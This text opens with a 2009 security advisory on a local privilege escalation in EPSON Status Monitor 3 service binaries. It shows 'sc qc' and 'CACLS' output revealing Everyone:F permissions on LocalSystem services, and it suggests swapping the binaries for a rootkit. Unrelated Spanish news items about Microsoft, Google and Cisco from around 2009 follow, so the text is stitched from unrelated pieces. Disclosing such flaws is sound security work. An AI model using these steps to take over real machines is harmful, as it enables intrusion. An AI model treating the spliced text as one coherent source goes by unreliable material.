------- EPSON Status Monitor 3 local privilege escalation vulnerability --------
by Nine:Situations:Group::bruiser
site: http://retrogod.altervista.org/
--------------------------------------------------------------------------------
After that pyrokinesis found: http://www.milw0rm.com/exploits/9199
I prepared a tool to check for weak permissions and I come out with this:

C:\>sc qc EPSON_EB_RPCV4_01
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: EPSON_EB_RPCV4_01
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Documents and Settings\All Users\Application Data\EPSON\EPW!3 SSRP\E_S40ST7.EXE
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : EPSON V5 Service4(01)
DEPENDENCIES : RpcSs
SERVICE_START_NAME : LocalSystem

C:\>CACLS "C:\Documents and Settings\All Users\Application Data\EPSON\EPW!3 SSRP\E_S40ST7.EXE"
C:\Documents and Settings\All Users\Application Data\EPSON\EPW!3 SSRP\E_S40ST7.EXE Everyone:F <------[ :( !!!] C:\>SC QC EPSON_PM_RPCV4_01
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: EPSON_PM_RPCV4_01
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Documents and Settings\All Users\Application Data\EPSON\EPW!3 SSRP\E_S40RP7.EXE
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : EPSON V3 Service4(01)
DEPENDENCIES : RpcSs
SERVICE_START_NAME : LocalSystem

C:\>CACLS "C:\Documents and Settings\All Users\Application Data\EPSON\EPW!3 SSRP\E_S40RP7.EXE"
C:\Documents and Settings\All Users\Application Data\EPSON\EPW!3 SSRP\E_S40RP7.EXE Everyone:F <------[ :( !!!] The executable files are installed with "full control" for Everyone; replace them with your favourite rootkit. They are carried by an EPSON STYLUS SX100 drivers cd. C'mon guys, no need for an exploit code, it can be triggered by the availiable command line tools. -------------------------------------------------------------------------------- # milw0rm.com [2009-07-30]

Microsoft patrocinará al FC Barcelona

La visita que durante el dia de ayer realizó el presidente del F.C. Barcelona, Joan Laporta, podría haber servido para ultimar un acuerdo de patrocinio.

El acuerdo, valorado en unos 2 millones de euros, podría abarcar distintos frentes, desde merchandising para la Xbox 360 a soluciones de productividad para el club, así como proyectos de responsabilidad social corporativa.

“El FC Barcelona es un buen cliente nuestro, y hemos colaborado con ellos en proyectos educativos y de nuevas tecnologías a través de la Fundación FC Barcelona”, comentó el director de Microsoft en Cataluña, Carles Grau, a los medios que acompañaron al conjunto azulgrana durante su visita a Redmond.

Via Noticiasdot.com

Microsoft confirma a sus tres grandes rivales Linux, Apple y Firefox

En un informe anual para los inversionistas, la empresa también reconoció la importancia de Apple, y de Firefox y Opera en el terreno de los navegadores.

A través de un informe que la multinal informática presenta a sus inversionistas todos los años, la empresa reconoció por primera vez que el sistema operativo libre y de código abierto Linux, representa una amenaza para sus propios productos.

El objetivo de este informe anual, es evaluar el medioambiente de la empresa, y los nuevos competidores que puedan haber surgido. Este año, Microsoft ha catalogado como rivales, a las empresas distribuidoras de sistemas basados en Linux: RedHat y Canonical, este último, desarrollador de Ubuntu.

El informe también destaca el crecimiento que está consiguiendo Apple sobre todo en el mercado estadounidense.

Según esta evaluación, la división de clientes “enfrenta una fuerte competencia de compañías establecidas con diferentes propuestas para el mercado de PC. Productos de software comercialmente competitivos, incluyendo variantes de Unix, son suministrados por competidores como Apple, Canonical y Red Hat”.

El mercado de los navegadores no queda fuera de la evaluación, y tanto Opera como Mozilla (desarrollador de Firefox), ambos con descarga gratuita, están quitando participación a Internet Explorer. Según reconoció la firma informática, Firefox ha ganado más de un 20% en este mercado, lo que ha reducido la cuota de mercado de Internet Explorer a menos del 70%.

Si bien Microsoft tiene una gran participación en el mercado del PC, donde casi el 90% de los computadores operan bajo Windows, Linux empieza a hacerse un lugar cada vez más importante principalmente en el segmento de los netbooks y equipos de bajo coste, debido al coste cero de su licencia y al mejor desempeño que experimentan los usuarios en su utilización en este tipo de dispositivos.

Via Noticiasdot.com

Bill Gates quiere patentar sistema anti-huracanes

Lo dicho, es sabido que el comportamiento de los huracanes se ve afectado según la temperatura de las aguas marítimas; cuando el huracán se adentra a una zona de aguas frías el mismo disminuye su fuerza y por el contrario, si el huracán se adentra a zonas de mayor temperatura cobra mayor intensidad.

No soy experto en huracanes pero esta noticia me llamó la atención, la leí en La Gaceta donde informan que ésto será financiado por Bill Gates con la intención de vender seguros contra huracanes, ésta solicitud de patente está firmada por 12 científicos donde la mayoría de ellos son físicos e investigadores del estado de Washington, donde precisamente es el lugar sede de la empresa Intellectual Venture Lab.

Dicha empresa es un laboratorio de inventos y ha sido fundada por directivos de Microsoft.

La explicación breve de la patente es incluir una fota de barcazas, que estarían bombeando agua fría desde el fondo del mar hacia la superficie y por ende, el enfriamiento de la zona creando una especie de pared de líquido frío que anule o disminuya la fuerza del huracán antes de llegar a tierra.

Espero que el enfriamiento artificial de las zonas marítimas no afecte a la flora y fauna marítima ya que en vez de proteger al planeta, lo estarían destruyendo...

Hasta la próxima.

Microsoft inicia su Conferencia de Socios con la presentación de Office 2010

En medio de la grave crisis económica mundial, Microsoft abre su Conferencia Mundial de Socios en Nueva Orleans con el anticipado anuncio del lanzamiento de Office 2010 así como nuevos detalles de Windows 7, el sistema operativo que sustituirá a Vista.

A pesar de la crisis, Microsoft ha reunido en Nueva Orleans miles de socios (desde programadores a distribuidores de sus productos) procedentes de todo el mundo para presentar sus últimas novedades y explicar su estrategia.

Microsoft lanzará un paquete de aplicaciones online para competir con Google

Una de las novedades más esperadas será la presentación de la última versión de su popular grupo de aplicaciones Office. Otro anuncio anticipado por los especialistas del sector es el Office Web Applications (OWA), una alternativa al Office 2010 que se ejecutará desde el navegador de Internet.

OWA pondrá de nuevo a Microsoft en camino para enfrentarse con Google (quienes recientemente han anunciado su sistema operativo) en el creciente sector de aplicaciones ejecutadas a través de Internet, en vez de tener el programa residente localmente en el sistema.

Allison Watson, vicepresidenta de Microsoft para del Grupo de Socios Mundial, anunció antes de la conferencia que la empresa de Redmond "está entrando el mayor año de lanzamientos de su historia". "La economía global ha cambiado las dinámicas de la relación del vendedor/socio. La disputa entre grandes vendedores para lograr los servicios de la comunidad global de revendedores es más enconada que nunca", añadió Watson.

Entre los productos que Microsoft lanzará en los próximos meses destaca el nuevo sistema operativo Windows 7, que sustituirá a Vista, y que está previsto salga a la venta en octubre aunque los fabricantes de sistemas informáticos tendrán acceso al producto antes.

Watson destacó que Microsoft ha trabajado de forma estrecha con sus socios para el desarrollo de Windows 7 "para asegurar que tienen las herramientas y recursos que necesitan para el desarrollo y compatibilidad de Windows 7". Microsoft ha sido criticada por los problemas de Vista, especialmente en lo referente a compatibilidad.

Via 20minutos.es

Microsoft responde a Google: Office gratis y on-line

Google desarrolló una serie de programas de ofimática que están disponibles a través de Internet y asociados a sus servicios on-line, como el correo electrónico. Tras esta jugada y con Chrome OS acechando entre las sombras, Microsoft confirma un paquete de Office gratis y disponible en Internet. Los ingresos se buscarán mediante publicidad.

El mayor fabricante de software del mundo ofrecerá un procesador de textos, de planillas de cálculo, de presentaciones y un programa para tomar notas con la misma apariencia de los incluidos en el paquete Office que se vende para ordenadores personales.

Esta es la última novedad en una creciente guerra entre los dos gigantes de la tecnología, que desde que Google anunciara un sistema operativo ha tomado un nuevo, inesperado y apasionante rumbo, rodeado por rumores positivos para el consumidor -como una rebaja en los precios de los ordenadores-.

Pero sólo era el último movimiento, ya que hace pocos meses Microsoft lanzó el mes pasado un nuevo motor de búsquedas, llamado Bing, que ha robado algo de participación de mercado a Google.

DUDAS SOBRE LOS EFECTOS

Es evidente que el lanzamiento de una versión gratuita de Office afectará las ventas de la unidad de negocios de más vendedora y rentable de Microsoft. Uno de los títulos más populares de Office es una versión doméstica que se vende a 150 dólares. Incluye los cuatro programas que Microsoft ofrecerá gratis.

“Microsoft está en una posición difícil. Su competencia no está solo molestando, están regalando su producto más competitivo”, consideró el analista de Forrester Research Sheri McLeish.

La división Office anotó utilidades operacionales de 9.300 millones de dólares sobre ventas por 14.300 millones de dólares en los primeros tres trimestres de su año fiscal. McLeish dijo que espera que Microsoft supere a Google en el mercado dado que cientos de millones de personas que usan Office irán a probar la versión en internet.

¿De dónde vendrán, entonces, los ingresos? Microsoft buscará obtener dinero llevando a esos usuarios a sus sitios financiados por publicidad, incluso el servicio de búsquedas Bing.

FUTURO ESPERANZADOR

Los analistas consideran que los primeros signos de éxito del Bing sugieren que Microsoft podría estar logrando dar la vuelta a su división de internet, que da pérdidas.

La compañía lanzará la oferta gratuita después de empezar a vender el Office 2010, su próximo gran lanzamiento del producto, en el primer semestre del año próximo. Su versión actual corresponde a enero del 2007.

El fabricante de software reveló una primer versión el lunes en una conferencia para socios de negocio en Nueva Orleans. Será distribuida a decenas de miles de evaluadores.

La portavoz de la compañía, Janice Kapner, dijo que la versión libre de Internet brindará “una experiencia muy rica” y probablemente tenga más funcionalidad que la de Google.

Entre otras actualizaciones de programas que Microsoft tiene planeadas para el 2010, en octubre saldrá la nueva versión del omnipresente sistema operativo y también prepara una nueva versión de su muy utilizado servidor de correo.

Microsoft también planea dos otras versión de Internet del Office para empresas.

Via Noticiasdot

Microsoft Office y Google tienen un nuevo rival

Cisco Systems dijo que considera ofrecer alternativas basadas en internet para competir con el popular paquete de software. La medida también afectaría a Google

Doug Dennerline, vicepresidente senior de Cisco, mencionó que la firma podría desarrollar un servicio que permitiría a los usuarios comerciales crear documentos para ser guardados y compartidos mediante su servicio WebEx de reuniones virtuales.

Las alternativas con base en internet frente al Office de Microsoft surgieron hace cinco años, pero los usuarios corporativos todavía no lo incorporan como herramienta de trabajo debido a que la llamada cloud computing aún tiene sus riesgos.

Si la iniciativa despega, se podría convertir en un gran negocio: la división Office de Microsoft alcanzó ventas de u$s60 mil millones en el ultimo año fiscal.

Google vende Google Apps, una alternativa basada en internet que es una alternativa a Microsoft Office.

Dennerline, que maneja los productos de colaboración en línea de Cisco, dijo que está interesado de ingresar al área.

"Ese es un espacio interesante. Ciertamente estamos pensando en eso", dijo durante una rueda de prensa, sin entrar en detalles. Los servicios WebEx actualmente incluyen reuniones en línea, correo electrónico y mensajería instantánea.

Adicionalmente dijo que Cisco no está interesada en competir con Salesforce.com en vender aplicaciones online que las empresas puedan usar para manejar las ventas y las actividades de mercadeo.

Analistas han especulado por tiempo que Cisco planeaba entras en el negocio.

Fuente: Reuters